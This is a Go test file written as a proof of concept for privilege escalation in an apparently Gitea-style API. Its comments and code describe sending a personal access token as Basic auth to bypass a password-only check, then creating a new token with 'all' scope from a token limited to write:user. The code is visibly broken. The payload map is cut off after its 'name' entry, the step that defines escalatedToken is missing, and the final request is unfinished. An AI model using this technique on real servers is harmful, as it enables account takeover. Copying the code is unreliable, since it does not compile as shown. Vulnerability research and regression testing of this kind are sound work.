// TestAPIPrivilegeEscalationViaBasicAuthToken is a proof-of-concept for two
// interconnected vulnerabilities that together allow full scope escalation:
//
//  1. reqBasicOrRevProxyAuth() is fooled into passing when a PAT is supplied in
//     the Authorization: Basic "<token>:x-oauth-basic" format. The Basic auth
//     handler sets AuthedMethod="basic" (the method name), so IsBasicAuth=true
//     even though the credential is a token, not a password.
//
//  2. CreateAccessToken performs no scope-ceiling check - it never verifies that
//     the requested scopes are a subset of the caller's token scopes.
//
// Combined effect: an attacker with a write:user-scoped token can create a new
// token with the "all" scope, gaining full access to the account.
func TestAPIPrivilegeEscalationViaBasicAuthToken(t *testing.T) {
	defer tests.PrepareTestEnv(t)()

	// Non-admin user - escalation is meaningful and not trivially justified.
	user := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})

	// Step 1 - Obtain a legitimately restricted token via password-based Basic auth.
	// Only write:user scope is granted; repository, admin, etc. are excluded.
	restrictedToken := createAPIAccessTokenWithoutCleanUp(t, "poc-restricted", user,
		[]auth_model.AccessTokenScope{auth_model.AccessTokenScopeWriteUser})
	defer deleteAPIAccessToken(t, restrictedToken, user)

	// Confirm the restricted token is blocked from repository-scoped endpoints.
	// This establishes the baseline: write:user does not imply read:repository.
	req := NewRequest(t, "GET", "/api/v1/repos/search").
		AddTokenAuth(restrictedToken.Token)
	MakeRequest(t, req, http.StatusForbidden)

	// Step 2 - Exploit: supply the restricted token as Basic auth credentials.
	// Authorization: Basic base64("<token>:x-oauth-basic")
	//
	// Basic.Verify() validates the token and returns the user. group.Verify() then
	// sets AuthedMethod="basic" (the method name). auth.go maps that to
	// IsBasicAuth=true, satisfying reqBasicOrRevProxyAuth() even though no
	// password was provided. CreateAccessToken then creates the token with the
	// requested "all" scope without checking whether it exceeds the caller's scope.
	payload := map[string]any{
		"name":   "poc-escalated",

	// Step 3 - The escalated token carries the "all" scope.
	assert.Contains(t, escalatedToken.Scopes, "all",
		"escalated token scope must be 'all'; original token only had write:user")

	// Step 4 - The escalated token can now reach endpoints blocked to the original
	// token, confirming real privilege gain beyond write:user.
	req = NewRequest(t, "GET", "/api/v1/repos/search").
